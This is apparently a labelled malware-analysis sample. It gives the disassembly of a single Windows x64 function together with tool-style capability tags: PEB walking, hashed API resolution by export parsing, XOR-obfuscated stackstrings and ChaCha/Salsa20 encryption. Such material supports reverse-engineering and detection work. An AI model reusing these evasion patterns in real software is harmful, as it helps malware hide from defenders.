Function at 0x140051290
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encrypt data using salsa20 or chacha
Get ntdll base address
Get process filename
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x428]
sub rsp, 0x520
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x1401b5030]
xor rax, rsp
mov qword [rbp + 0x410], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x41], xmm0
movups xmmword [rsp + 0x51], xmm0
movups xmmword [rsp + 0x61], xmm0
mov qword [rsp + 0x71], rax
mov dword [rsp + 0x79], eax
mov dword [rbp - 0x80], 0xcd3453b9
mov dword [rbp - 0x7c], 0x2e892e65
mov dword [rbp - 0x78], 0x7f0ab1c3
mov dword [rbp - 0x74], 0x6e8692cc
mov dword [rbp - 0x70], 0x21ce698
mov dword [rbp - 0x6c], 0x13aab263
mov dword [rbp - 0x68], 0xd217083
mov dword [rbp - 0x64], 0x1d8a9947
mov dword [rbp - 0x50], 0x11d10708
mov dword [rbp - 0x4c], 0x10d43f23
xor edx, edx
mov r8d, 0x401
lea rcx, [0x1402bb180]
call fcn.14011fff0
mov byte [rbp - 0x10], 0
movups xmm0, xmmword [0x1402b5cf0]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x1402b5d00]
movups xmmword [rbp - 0x20], xmm1
mov dword [rsp + 0x40], 0x61707865
mov eax, dword [rbp - 0x80]
mov dword [rsp + 0x44], eax
mov eax, dword [rbp - 0x7c]
mov dword [rsp + 0x48], eax
mov eax, dword [rbp - 0x78]
mov dword [rsp + 0x4c], eax
mov eax, dword [rbp - 0x74]
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x54], 0x3320646e
mov eax, dword [rbp - 0x50]
mov dword [rsp + 0x58], eax
mov eax, dword [rbp - 0x4c]
mov dword [rsp + 0x5c], eax
xor r14d, r14d
mov qword [rsp + 0x60], r14
mov dword [rsp + 0x68], 0x79622d32
mov eax, dword [rbp - 0x70]
mov dword [rsp + 0x6c], eax
mov eax, dword [rbp - 0x6c]
mov dword [rsp + 0x70], eax
mov eax, dword [rbp - 0x68]
mov dword [rsp + 0x74], eax
mov eax, dword [rbp - 0x64]
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x7c], 0x6b206574
lea r8d, [r14 + 0x20]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x40]
call fcn.14004b220
xorps xmm3, xmm3
movups xmmword [rbp - 0x60], xmm3
mov dword [rsp + 0x30], reloc.WS2_32.dll_recv
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], r14
je 0x1400514a0
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14005148b
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
mov r9, r14
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x14005148b
nop
mov edx, dword [r8]
add rdx, r11
mov ecx, 0x94a0aec7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14005147b
nop word [rax + rax]
rol ecx, 5
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140051460
cmp ecx, 0x411ea068
je 0x140051493
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140051440
mov rdi, qword [rdi]
jmp 0x1400513fd
movzx eax, word [r10]
mov r8d, dword [rsi + rax*4]
add r8, r11
jmp 0x1400514a3
mov r8, r14
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
call r8
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x14c
mov eax, dword [rdx + rcx]
mov ebx, 0x160
test al, 1
jne 0x1400514f5
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rcx + rbx + 6], 0x1950c67
mov dword [rcx + rbx], 0xb43006d1
mov word [rcx + rbx + 4], 0x84c1
lea rcx, [0x140157c00]
call fcn.14011b87c
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 9], 0
je 0x140051530
xor byte [rdx], 0x95
xor byte [rdx + 1], 0x43
xor byte [rdx + 2], 0x63
not byte [rdx + 3]
xor byte [rdx + 4], 0x95
xor byte [rdx + 5], 0xcb
xor byte [rdx + 6], 0x37
xor byte [rdx + 7], 0x21
xor byte [rdx + 8], 0x95
mov byte [rdx + 9], 0
lea rcx, [rbp - 0x60]
call fcn.14011f874
lea rcx, [rbp - 0x60]
cmp rax, rcx
je 0x1400515d0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x1b0
mov eax, dword [rdx + rcx]
mov ebx, 0x230
test al, 1
jne 0x140051590
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 7], 0x121
mov dword [rcx + rbx], 0xab3302d9
mov word [rcx + rbx + 4], 0x9bda
mov byte [rcx + rbx + 6], 0x1a
lea rcx, [0x140157be0]
call fcn.14011b87c
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 8], 0
je 0x1400515c7
xor byte [rdx], 0x95
xor byte [rdx + 1], 0x43
xor byte [rdx + 2], 0x63
not byte [rdx + 3]
xor byte [rdx + 4], 0x95
xor byte [rdx + 5], 0xcb
xor byte [rdx + 6], 0x37
xor byte [rdx + 7], 0x21
mov byte [rdx + 8], 0
lea rcx, [rbp - 0x60]
call fcn.14011f874
xor edx, edx
mov r8d, 0x401
lea rcx, [rbp]
call fcn.14011fff0
mov dword [rsp + 0x30], 0x401
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], 0
je 0x14005169d
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14005168a
lea rax, [r11 + rcx]
mov r8d, dword [rax + 0x20]
add r8, r11
mov r10d, dword [rax + 0x24]
add r10, r11
mov esi, dword [rax + 0x1c]
add rsi, r11
mov r9, r14
mov ebx, dword [rax + 0x18]
test rbx, rbx
je 0x14005168a
nop dword [rax]
mov edx, dword [r8]
add rdx, r11
mov eax, 0x94a0aec7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005167a
nop word [rax + rax]
rol eax, 5
movsx ecx, cl
add eax, ecx
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140051660
cmp eax, 0xc77f247f
je 0x140051692
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140051640
mov rdi, qword [rdi]
jmp 0x1400515fa
movzx eax, word [r10]
mov r14d, dword [rsi + rax*4]
add r14, r11
lea rdx, [rsp + 0x30]
lea rcx, [rbp]
call r14
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x16c
mov eax, dword [rdx + rcx]
mov ebx, 0x180
test al, 1
jne 0x1400516ef
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rcx + rbx + 6], 0x15d6850
mov dword [rcx + rbx], 0x3c996c78
mov word [rcx + rbx + 4], 0x8762
lea rcx, [0x140157bc0]
call fcn.14011b87c
nop
mov rax, qword gs:[0x58]
mov r8, qword [rax]
add r8, rbx
cmp byte [r8 + 9], 0
je 0x140051736
xor byte [r8], 0x5d
xor byte [r8 + 1], 0x1f
xor byte [r8 + 2], 0xa3
xor byte [r8 + 3], 0x19
xor byte [r8 + 4], 0x11
xor byte [r8 + 5], 0xbd
xor byte [r8 + 6], 0x75
xor byte [r8 + 7], 0x1b
xor byte [r8 + 8], 0x5d
mov byte [r8 + 9], 0
lea rax, [rbp]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x30]
mov edx, 0x401
lea rcx, [0x1402bb180]
call fcn.140050120
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.14011b0c0
lea r11, [rsp + 0x520]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret